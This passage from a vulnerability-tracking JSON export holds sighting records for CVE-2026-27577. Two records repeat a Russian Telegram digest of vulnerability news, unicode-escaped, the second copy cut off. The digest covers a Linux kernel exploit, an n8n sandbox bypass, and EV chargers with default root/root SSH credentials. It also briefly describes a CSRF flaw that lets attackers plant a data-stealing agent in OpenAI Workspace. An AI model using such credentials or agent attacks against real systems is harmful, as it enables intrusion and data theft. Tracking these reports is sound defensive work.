"CVE-2026-27577", "type": "seen", "source": "https://t.me/true_secator/8452", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c \u0441 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u0443\u0433\u0440\u043e\u0437\u0430\u043c\u0438, \u043a\u043e\u0438\u0445 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u043d\u043e\u0433\u043e. \u041f\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0443:\n\n1. STAR Labs \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u044f\u0434\u0440\u0430 Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0435 CentOS Stream 9.\n\nCVE-2026-53264 (CVSS: 7.8), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0438\u0437-\u0437\u0430 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c \u044f\u0434\u0440\u0430. \u041d\u0430\u0439\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438 \u0443\u0441\u043a\u043e\u0440\u0438\u0442\u044c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043f\u043e\u043c\u043e\u0433 \u0418\u0418.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0432\u0435\u0442\u043a\u0435 \u0431\u044b\u043b\u043e \u0432\u043d\u0435\u0441\u0435\u043d\u043e 1 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u044b, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 Linux 4.14. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u043b\u0438\u0437\u044b: 5.10.259, 5.15.210, 6.1.176, 6.6.143, 6.12.94, 6.18.36 \u0438 7.0.13, \u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0432\u0435\u0442\u043a\u0435 \u0432\u043e\u0448\u043b\u043e \u0432 7.1-rc7.\n\n2. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Lava, \u0411\u043e\u043b\u0435\u0435 24 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443, \u0442\u0435\u0440\u044f\u044e\u0442 \u0445\u044d\u0448\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u0437-\u0437\u0430 CVE-2013-4786 (\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0431\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 IPMI 2.0, \u043a\u043e\u0440\u0435\u043d\u044f\u0449\u0438\u0439\u0441\u044f \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435, \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u043e\u043c \u0432 2004 \u0433\u043e\u0434\u0443) \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u043e\u0439 (BMC).\n\n3. Arista \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 CVE-2026-16812 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445 VeloCloud Orchestrator, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n4. Apple \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 87 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 iOS \u0438 155 \u0432 macOS Tahoe. \u0412 macOS Sequoia 15.7.8 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b 138 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0430 \u0432 macOS Sonoma 14.8.8 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e 127 \u043f\u0440\u043e\u0431\u043b\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 CVE-2026-43810, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Apple \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c \u044f\u0434\u0440\u0430, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044f\u0435\u0442 \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u043a\u0443 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a\n\n5. GitHub \u0438 PyPI \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 Dependabot \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439.\n\n6. \u0412 n8n\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (GHSA-gv7g-jm28-cr3m), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0443 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0443\u044e \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0443 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\nSecurity Joes \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0437\u0443\u0447\u0430\u044f \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 n8n \u043d\u0430\u00a0\u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 CVE-2026-27577.\n\n7. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 macOS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0437\u0430\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f. Apple \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0435 \u0441\u043e\u0447\u043b\u0430 \u0435\u0451 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n8. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c ERPNext, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u042d\u0442\u043e \u043e\u0434\u043d\u0430 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0438\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435.\n\n9. CVE-2026-9039 \u0432 \u0437\u0430\u0440\u044f\u0434\u043d\u044b\u0445 \u0441\u0442\u0430\u043d\u0446\u0438\u044f\u0445 XCharge EV \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Sailflow, \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f \u043a \u0440\u0430\u0437\u044a\u0435\u043c\u0443 \u043d\u0430 \u0437\u0430\u0440\u044f\u0434\u043d\u043e\u0439 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 SSH-\u0441\u0435\u0440\u0432\u0438\u0441.\n\nSSH-\u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e root/root. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0445 \u043f\u043e\u0434\u0437\u0430\u0440\u044f\u0434\u043e\u043a, \u043d\u0430\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0443\u0449\u0435\u0440\u0431\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0432 \u0441\u0435\u0442\u044c \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430.\n\n10. CSRF-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0430\u0433\u0435\u043d\u0442\u0430\u0445 Workspace \u043e\u0442 OpenAI \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0446\u0435\u043b\u044b\u0439 (\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439) \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0436\u0438\u0442\u044c \u0432 \u0432\u0430\u0448\u0435\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435.", "creation_timestamp": "2026-07-28T21:00:05.077547Z"}, {"uuid": "c4ea23fc-df54-42bd-82d4-1530e1623154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "published-proof-of-concept", "source": "Telegram/TTDc5m9rjxOF-FLNkY4srXBXmccnJEZ8Ua1WlC6sUt3lKgo", "content": "", "creation_timestamp": "2026-07-29T00:00:34.375038Z"}, {"uuid": "6a9d9720-d7f0-4ec2-bbaa-6502dad36840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://t.me/S_E_Reborn/6502", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c \u0441 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u0443\u0433\u0440\u043e\u0437\u0430\u043c\u0438, \u043a\u043e\u0438\u0445 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u043d\u043e\u0433\u043e. \u041f\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0443:\n\n1. STAR Labs \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u044f\u0434\u0440\u0430 Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0435 CentOS Stream 9.\n\nCVE-2026-53264 (CVSS: 7.8), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0438\u0437-\u0437\u0430 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c \u044f\u0434\u0440\u0430. \u041d\u0430\u0439\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438 \u0443\u0441\u043a\u043e\u0440\u0438\u0442\u044c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043f\u043e\u043c\u043e\u0433 \u0418\u0418.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0432\u0435\u0442\u043a\u0435 \u0431\u044b\u043b\u043e \u0432\u043d\u0435\u0441\u0435\u043d\u043e 1 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u044b, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 Linux 4.14. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u043b\u0438\u0437\u044b: 5.10.259, 5.15.210, 6.1.176, 6.6.143, 6.12.94, 6.18.36 \u0438 7.0.13, \u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0432\u0435\u0442\u043a\u0435 \u0432\u043e\u0448\u043b\u043e \u0432 7.1-rc7.\n\n2. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Lava, \u0411\u043e\u043b\u0435\u0435 24 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443, \u0442\u0435\u0440\u044f\u044e\u0442 \u0445\u044d\u0448\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u0437-\u0437\u0430 CVE-2013-4786 (\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0431\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 IPMI 2.0, \u043a\u043e\u0440\u0435\u043d\u044f\u0449\u0438\u0439\u0441\u044f \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435, \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u043e\u043c \u0432 2004 \u0433\u043e\u0434\u0443) \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u043e\u0439 (BMC).\n\n3. Arista \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 CVE-2026-16812 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445 VeloCloud Orchestrator, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u043c 